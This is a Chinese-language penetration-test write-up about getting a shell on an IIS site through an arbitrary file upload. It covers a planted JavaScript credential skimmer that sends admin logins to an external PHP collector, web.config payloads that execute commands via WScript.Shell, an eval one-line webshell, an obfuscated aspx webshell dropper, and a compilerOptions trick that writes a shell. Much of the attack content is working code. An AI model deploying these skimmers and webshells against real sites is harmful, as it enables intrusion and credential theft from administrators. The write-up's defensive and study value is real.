一次从任意文件上传到利用web.config getshell的踩坑记录
零鉴科技
记录一次授权渗透测试中遇到 IIS 站点的踩坑记录,平时接触 IIS 站点较少,本篇将针对本次实战过程中的思路和坑点记录分享出去,有任何意见建议,欢迎各位师傅交流。
团队里的师傅在目标站点已经找到了一处明显的文件上传,上传点泄漏了站点的绝对路径,同时上传时还可以指定目标路径,彷佛胜利已经在向我们招手。
但是站点部署了 waf , 无法直接上传 asp 、aspx 等敏感后缀,其他后缀无限制,如 txt、html、js、config 等。
根据目前掌握的信息,我们有以下思路:
u 第一种,已经可以直接上传文件,那么如果可以绕过上传的 waf 的限制,可能是最方便的getshell 的思路,不过可能要考虑测试过程中频繁触发 waf 是否会引起对方运维人员警觉;
u 第二种,站点平台为 IIS,可以通过修改(覆盖) web.config,配置解析规则,实现对特定后缀的解析;
u 第三种,修改站点静态文件,比如修改一个后台登录处的js,劫持用户的输入或者 cookie,然后守株待兔,等管理员登录后台的时候就可以数据带出来,进入后台就有可能找到更多可以利用的点。
修改 js,实现后台密码记录
因为修改静态文件相对安全,不会对服务的正常运行产生影响,这里先利用任意文件写,覆盖某个 js 文件,不改变原功能的前提下,劫持用户输入的账号密码并回传。
js 代码:
window.onload = function(){
document.getElementById('btnSubmit').onclick = function(){
var username = document.getElementById('txtUserName').value;
var password = document.getElementById('txtPassword').value;
console.log(username);
url = 'http://xxxx.xxxxxxxx.com:xx/xxxxxx/xxxxxxxx.php?' + 'username=' + username + '&password=' + password ;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if( xhr.readyState == 4){
if( xhr.status >= 200 && xhr.status < 300 || xhr.status == 304){
info.innerHTML = xhr.responseText;
}
}
};
// 每次需要发请求需要做两步:
xhr.open("get", url, true);
xhr.send(null);
sleep(5);
if(!checkForm()) return false;
__doPostBack('btnSubmit','');
};
};
对应的后端 php:
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$time = date("Y-m-d h:i:sa");
if($username && $password) {
$myfile = fopen("xxxxxx.txt", "a") or die("Unable to open file!");
fwrite($myfile, $time . ': ' . $username . ' ' . $password . PHP_EOL);
$fclose($myfile);
}
然后开始等对方工作人员登陆。。。。。。
后来确实等到了对方管理员登陆,拿到了账号密码,虽然时间上晚了一些,但是事实证明,这个一步操作还是非常必要的,因为拿到 shell 进一步拖回来代码之后发现密码的验证逻辑藏的比较深,即使控制了数据库,还原出密码还需要话一定的时间。这个时候有一个现成的账号密码对即使获取后台数据来说就是非常方便的了。
首先简单介绍一下 web.config 配置文件,它的文本格式为 xml ,类似于 apache 的 .htaccess,可以用来配置 IIS 的解析规则、安全性、重写规则等等 。
当我们访问某个页面时,web.config 的生效顺序是:当前目录的 web.config -> 当前应用程序根目录下的 web.config -> C:<.Net setup dir>Config 下的 web.config -> C:<.Net setup dir>Config 下的 machine.config。
(<.Net setup dir> 即 .net framwark 的安装目录,默认位置在 C:WindowsMicrosoft.NETFrameworkvx.xxxConfig)
[修改 web.config 前务必冷静,如上所述,服务端在解析 asp、aspx 脚本之前,会递归式的查找配置,如果某个配置错误(比如配置文本格式错误、字符错误、甚至是一个空文件),都将有可能导致整个站点 500。不过好在子目录的 web.config 只会影响当前子目录,不会影响其他子目录]
任意文件上传可以覆盖原有文件,当前我们的需求是,通过控制 web.config ,进而拿到 webshell。这一部分有很多师傅们已经做了很多成熟的研究。
1. 修改 web.config 配置,使服务端能够解析特定后缀
参考链接:https://my.oschina.net/u/2357619/blog/1162509
这里以 .jsonp 的解析作为样例来解释一下 web.config 的配置:
<?xml version="1.0" encoding="UTF-8"?>
<system.web>
<compilation>
<buildProviders>
<add extension=".jsonp" type="System.Web.Compilation.PageBuildProvider"/>
</buildProviders>
</compilation>
</system.web>
<system.webServer>
<staticContent>
<mimeMap fileExtension=".jsonp" mimeType="application/javascript" />
</staticContent>
<handlers>
<add name="xxxjsonp handlers" path="*.jsonp" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Unspecified" preCondition="integratedMode" />
</handlers>
</system.webServer>
</configuration>
拆解一下这个配置:
configuration->system.web->compilation->buildProviders 标签,给 “.jsonp” 这个拓展名注册生成提供程序;
configuration->system.webServer->staticContent 标签,给 “.jsonp” 映射 MIMIE 类型;
configuration->system.webServer->handlers 标签,给 “.jsonp” 添加处理程序映射。
其中 buildProviders 和 而 handlers 标签的项目值 与C:<.Net setup dir>Config 下的 web.config 中给 “.aspx” 分配的是一致的,也就是说通过这个配置,服务端对 “.jsonp”的处理理论上和对 “.aspx”的处理就变得一致了。
一般情况下,以上三个标签的配置缺一不可,缺少任何一项都可能无法成功解析(特殊情况下,站点可能配置默认的 MIME 映射,此时 staticContent 标签可以忽略,如果寻求保险,加上去总是没错的)。
这个 payload 看起来非常靠谱,但是正当踌躇满志准备拿这个上去做试验效果的时候,惊喜的发现:
本着不能随便改动根目录 web.config 的原则,我们上传到了一个全部都是静态文件的子目录,然后就发现了 buildProviders 无法在应用程序级别之下定义(应用程序级别的定义在位置上即应用程序根目录下的 web.config 定义),所以结果是无法生效的。
2. 利用 web.config 自身执行代码
参考链接:https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/
还是先贴上 payload:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!--
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-->
接下来着重分析一下上面这个配置文件:
首先,整体分析配置文件的结构:
该文件分为两部分,上半部分为配置文件主体,下半部分为要执行的代码,前面提到,web.config 的文件格式是一个 xml ,所以下半部分被 “<-- -->” 注释的部分会被 xml 解析引擎忽略。同时这个注释也可能会影响直接访问时页面上的呈现效果(毕竟有时候页面返回为“空”的时候,我们可能忘记去“查看页面源码”),所以下半部分代码中,开头和结尾分别打印一半的注释符来闭合掉原来的注释。
接着,针对 requestFiltering 的两个关键标签分析:
configuration->security->requestFiltering->fileExtensions 标签,将 “.config” 移除,这样 IIS 在进行请求筛选的时候会放开对 .config 文件的限制;
configuration->security->requestFiltering->hiddenSegments标签,将 “.config” 移除,默认情况下,对 “.config” 拓展名的访问是被“隐藏”的(这个配置放在 C:<.Net setup dir>Config的 web.config 中),访问的时候会 404,这里是要解除对它的隐藏。
下面展示一下 requestFiltering 的不同配置可能带来的后果:
A:web.config 未配置 requestFiltering 项:
错误码:404.8
可能的原因:为 Web 服务器配置了请求筛选,它包含了 hiddenSegments 节,允许服务器管理员拒绝对特定目录的访问。
因为默认配置中,将 “.config” 拓展名设置为 “隐藏” 的,所以无法直接访问;
B:web.config 仅配置 requestFiltering 项中的 fileExtensions。此时访问任意 “.config” 文件时的报错提示同上,就不贴图片了;
C:web.config 仅配置 requestFiltering 项中hiddenSegments。
错误码:404.7
可能的原因:为 Web 服务器配置了请求筛选,此请求的文件拓展名被明确拒绝。
然后,配置文件中的 handlers 的是灵魂
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
从配置中比较容易理解,新建一个新的叫 “web_config”的处理器,这个处理器会将 “.config” 文件交给 asp.dll 处理,这样就能对文件中的 asp 脚本部分做解析。
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("ifconfig")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
配合着下半部分的代码,这部分 asp 脚本的语言是 VBscript,主要的逻辑是新建一个 WScript.shell 对象,用来直接执行系统命令,然后将结果输出。
最后,再来看一下,当我们访问 web.config 时都发生了些什么:
当 IIS 收到对 web.config 请求的时候,会先读取 web.config 的内容(访问任意内容时都会先读取 web.config),读取了 web.config 内容并解析之后,因为配置中的 requestFiltering,开放了对 “.config”的访问,那么这次访问不会 404。
接下来根据配置文件,IIS 将任意 *.config 的内容交给 asp.dll 来解析,这时就像解析一个正常的 asp 脚本一样了,而根据解析的特性,只有代码中被 "<% %>" 包裹的才会真正被解析,所以前面的 xml 配置部分也不会影响代码执行。于是,我们就可以利用 web.config 来执行代码了。
分析完配置文件之后,再来看一下实际利用过程,我们已经有了一个可以执行代码的手段,那么接下来的操作就更加丰富了:
第一种:可以直接上个小马:
<% Response.write("-"&"->")
eval request("pass")
Response.write("</pre><!-"&"-") %>
蚁剑连接:
执行命令:
第二种,非敏感操作
如果或者对方的 waf 足够强大的话,还可以利用这里代码执行做一些非敏感操作如:修改文件后缀名、写入 shell 等。
修改文件名:
<% Response.write("-"&"->")
set fs = CreateObject("Scripting.FileSystemObject")
fs.MoveFile "C:xxxxxxxxxxxxa.txt","C:xxxxxxxxxxxxa.aspx"
Response.write("<!-"&"-") %>
写入 shell :
<% Response.write("-"&"->")
set fs = CreateObject("Scripting.FileSystemObject")
set wf = fs.CreateTextFile("C:xxxxxxxxxxxxc.aspx", True)
wf.WriteLine("<%@ Page Language=""Jscript"" Debug=true%>")
wf.WriteLine("<%")
wf.WriteLine("var TALN='CIoiSdFjwMGzRuqtbmHUaKnecYLrDkXhpxTVsvAgQZJPfBWylEON';")
wf.WriteLine("var NZRS=Request.Form(""pass"");")
wf.WriteLine("var BPAA=TALN(13) + TALN(22) + TALN(4) + TALN(20) + TALN(6) + TALN(23);")
wf.Write("ev")
wf.WriteLine("al(NZRS, BPAA);")
wf.WriteLine("%>")
wf.Close
Response.write("<!-"&"-") %>
当然还有更多姿势,比如混淆写入 shell 等等,可以尝试的空间还有很多。
这种方法虽让很方便,不过目前已知的局限有:
1. 从配置文件中也看到,将解析代码的任务交给 asp.dll ,只能解析 asp 格式脚本,也就是 vbscript 代码,会有一定的限制。引入别的运行库是否能突破这个限制尚未经过身份研究;
2. 如果不用小马,使用WScript.shell 对象直接执行命令时,会存在一定限制,部分命令无法执行在网页上的回显乱码或不完整(可能系统语言及相关配置有关);
3. 如果 IIS 应用程序配置的足够安全,可能会禁止类似的代码执行,此时这种方法无法生效。
从上面的web.config 的配置我们已经意识到了,web.config 非常灵活,也许他还有更多的潜力,所以尝试探索更多 get-shell 的方法:
参考链接:https://xz.aliyun.com/t/6037
这篇文章给了更多的 payload 的样例,先就这篇文章中涉及的点做一些阐释:
文章中第一类情况未经充分测试,所以无法明确它的稳定性。但是针对他们的特性,在真实环境中的应用可能比较受限,可以被利用的配置项 AspNetCoreModule,machineKey,buildProviders ,httpHandler 等不能在子目录的 web.config 被配置,真实渗透环境下要慎用。
第二类情况适用于子目录,而且我们的需求具有针对性,主要的目的还是 “web.config -> webshell ”,接下来重点介绍其中一种方法:“利用compilerOptions属性写入 webshell”。
还是先贴出 payload:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime targetFramework="4.67.1"/>
<compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
<assemblies>
</assemblies>
<expressionBuilders>
</expressionBuilders>
<compilers>
<compiler language="c#"
extension=".cs;.config"
type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
warningLevel="4"
compilerOptions='/resource:"C:inetpubwwwrootabc.txt" /out:"C:inetpubwwwrootwebshell.aspx" #'/>
</compilers>
</compilation>
</system.web>
<system.webServer>
<handlers>
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
这个配置文件主要包括三部分:
第一部分:configuration->system.web->compilation标签
第二部分:configuration->system.webServer->handlers标签
第三部分:configuration->security->requestFiltering 标签
按照三个部分的重要程度,倒着来分析一下:
第三部分,在上文中 web.config 自身执行代码部分已经有过介绍,这里略过。
第二部分,也很眼熟,这个 handlers 在上文中介绍配置 web.config 配置对特定后缀名的解析时也出现过,给 “web.config”添加处理程序映射,把它当作 “.aspx”一样来对待(这里的参数 path 可以设置为通配符,更加灵活)。
第一部分是配置中的最重要的部分,要详细来解释一下:
简单介绍一下 asp 与 aspx 的区别:
asp 脚本主要是用 VBscript、javascript 等脚本语言编写,主要是解释型的,服务器调用脚本解析引擎解析执行即可。
aspx 脚本是 asp 的升级,支持更多语言 java、C# 等,而且是编译型的,也就是说,用户第一次请求一个新的 aspx 之后会在服务器先进行编译,然后才执行,返回结果(当然只有第一次访问的时候会触发编译,这也是为什么第一次访问 aspx 的时候会慢一些,之后会快很多)。
回到配置文件,现在 “.config”的处理程序映射和 “.aspx”相同了,也就是说这个时候当我们第一次访问某个 .config 文件的时候,会触发编译的过程。而 configuration->system.web->compilation 就是为了配置编译过程。
其中compilers 标签的配置起了关键作用,它的众多属性中:
[extension] 属性指定为哪些后缀名的文件注册“生成提供程序”,通俗的理解就是,设置请求哪些后缀名访问可以触发编译过程,如果不对特定后缀进行配置,访问时会出现:
[compilerOptions] 项则可以配置一些编译过程中的参数,是 webshell 写入的关键:
compilerOptions='/resource:"C:inetpubwwwrootabc.txt" /out:"C:inetpubwwwrootwebshell.aspx" #'
这个编译选项,将 /resource 指定的文件作为源,即 abc.txt ;将 /out 指定的文件作为编译的输出,即 webshell.aspx ,“#” 终止命令标记该项结束。
编译会将 abc.txt 的内容拼接到 webshell.aspx 中,然后利用 asp.net 解析 aspx 脚本的特性,真正被解析的内容会被 "<% %>" 包裹,所以虽然生成的 webshell.aspx 中有一些额外的二进制数据,但并不影响 webshell 的内容被解析。
利用编译选项,就可以通过上传任意后缀的文件,文件内容为 webshell ,通过配置 compileOptions 指定 resource 和 out 即可写入 aspx 后缀的 shell 。
解释完原理,再来看一下现象,本地测试这个过程的触发过程是这样的:
访问设定的特定后缀的资源(此处为 web.c),会先等待一会儿(触发了编译),稍后会提示“ 404,某个依赖项可能被移除”,但是已经没有关系,此时 webshell 已经被写入了,同时蚁剑连接也没有问题。
不过在实际环境中,总会有千奇百怪的问题。
上传到实际环境的时候出现了无法访问 web.config 的问题,此时无法触发编译过程,跟本地测试的现象完全不同。
经过一番波折,最终的解决方法是,将web.config 项中 configuration->security->requestFiltering 标签置空,也试着换了其他用来触发编译过程的后缀,就成功了。听起来,不可思议。。。但是确实在当时的环境上如此。
这部分在后续的本地复现过程中未找到明确的原因,非常遗憾,由于无法完整复现对方环境和配置,也就没办法进一步做分析。
如果有明白原因的师傅愿意交流的话,还请不吝赐教。
最后一张图来回顾一下本文的思路:
原文始发于微信公众号(零鉴科技):一次从任意文件上传到利用web.config getshell的踩坑记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论